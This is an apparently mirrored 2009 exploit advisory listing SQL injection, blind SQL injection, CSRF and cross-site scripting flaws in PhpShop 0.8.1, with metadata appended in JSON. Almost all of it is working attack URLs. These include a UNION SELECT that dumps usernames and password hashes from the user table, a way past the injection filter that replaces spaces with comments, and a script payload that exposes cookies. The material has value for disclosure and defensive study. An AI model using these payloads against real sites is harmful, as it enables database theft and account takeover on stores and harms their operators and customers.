Search...

PhpShop 0.8.1 SQL Injection / XSS / XSRF

2009-12-07T00:00:00

ID PACKETSTORM:83529
Type packetstorm
Reporter Andrea Fabrizi
Modified 2009-12-07T00:00:00

Description

                                        
                                            `**************************************************************  
Application: PhpShop  
Version affected: 0.8.1  
Website: http://www.phpshop.org/  
Discovered By: Andrea Fabrizi  
Email: andrea.fabrizi@gmail.com  
Web: http://www.andreafabrizi.it  
Vuln: Multiple Vulnerabilities  
**************************************************************  
  
  
### SQL INJECTION  
http://localhost/phpshop-0.8.1/?page=admin/function_list&module_id=111111'  
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa  
http://localhost/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--  
aaa  
http://localhost/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and  
'1'='1  
http://localhost/phpshop-0.8.1/?page=admin/module_form&module_id=1' and  
'1'='1  
http://localhost/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7ba16db1799fd8d25dbcde4'  
and '1'='1  
http://localhost/phpshop-0.8.1/?page=vendor/vendor_category_form&vendor_category_id=6'  
and '1'='1  
http://localhost/phpshop-0.8.1/?page=store/user_form&user_id=c88ce1c0ad365513d6fe085a8aacaebc'  
and '1'='1  
http://localhost/phpshop-0.8.1/?page=store/payment_method_form&payment_method_id=1'  
and '1'='1  
http://localhost/phpshop-0.8.1/?page=tax/tax_form&tax_rate_id=2' and '1'='1  
...and many others...  
  
The SQL Injection security check can be bypassed replacing spaces with  
comments (/**/)  
  
### BLIND SQL INJECTION  
http://localhost/phpshop-0.8.1/?page=shop/browse&category=aaa' and 1=1 --  
aaa  
  
  
### CSRF  
http://localhost/phpshop-0.8.1/?page=shop/cart&func=cartAdd&product_id=321&  
...and many others...  
  
  
### XSS  
http://localhost/phpshop-0.8.1/?page=order/order_print&order_id=1  
"&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;  
...and many others...  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:83529", "type": "packetstorm", "bulletinFamily": "exploit", "title": "PhpShop 0.8.1 SQL Injection / XSS / XSRF", "description": "", "published": "2009-12-07T00:00:00", "modified": "2009-12-07T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/83529/PhpShop-0.8.1-SQL-Injection-XSS-XSRF.html", "reporter": "Andrea Fabrizi", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:20:53", "viewCount": 1, "enchantments": {"score": {"value": 0.8, "vector": "NONE", "modified": "2016-11-03T10:20:53", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:20:53", "rev": 2}, "vulnersScore": 0.8}, "sourceHref": "https://packetstormsecurity.com/files/download/83529/phpshop-sqlxssxsrf.txt", "sourceData": "`************************************************************** \nApplication: PhpShop \nVersion affected: 0.8.1 \nWebsite: http://www.phpshop.org/ \nDiscovered By: Andrea Fabrizi \nEmail: andrea.fabrizi@gmail.com \nWeb: http://www.andreafabrizi.it \nVuln: Multiple Vulnerabilities \n************************************************************** \n \n \n### SQL INJECTION \nhttp://localhost/phpshop-0.8.1/?page=admin/function_list&module_id=111111' \nunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa \nhttp://localhost/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5-- \naaa \nhttp://localhost/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and \n'1'='1 \nhttp://localhost/phpshop-0.8.1/?page=admin/module_form&module_id=1' and \n'1'='1 \nhttp://localhost/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7ba16db1799fd8d25dbcde4' \nand '1'='1 \nhttp://localhost/phpshop-0.8.1/?page=vendor/vendor_category_form&vendor_category_id=6' \nand '1'='1 \nhttp://localhost/phpshop-0.8.1/?page=store/user_form&user_id=c88ce1c0ad365513d6fe085a8aacaebc' \nand '1'='1 \nhttp://localhost/phpshop-0.8.1/?page=store/payment_method_form&payment_method_id=1' \nand '1'='1 \nhttp://localhost/phpshop-0.8.1/?page=tax/tax_form&tax_rate_id=2' and '1'='1 \n...and many others... \n \nThe SQL Injection security check can be bypassed replacing spaces with \ncomments (/**/) \n \n### BLIND SQL INJECTION \nhttp://localhost/phpshop-0.8.1/?page=shop/browse&category=aaa' and 1=1 -- \naaa \n \n \n### CSRF \nhttp://localhost/phpshop-0.8.1/?page=shop/cart&func=cartAdd&product_id=321& \n...and many others... \n \n \n### XSS \nhttp://localhost/phpshop-0.8.1/?page=order/order_print&order_id=1 \n\"><script>alert(document.cookie);</script> \n...and many others... \n`\n", "immutableFields": []}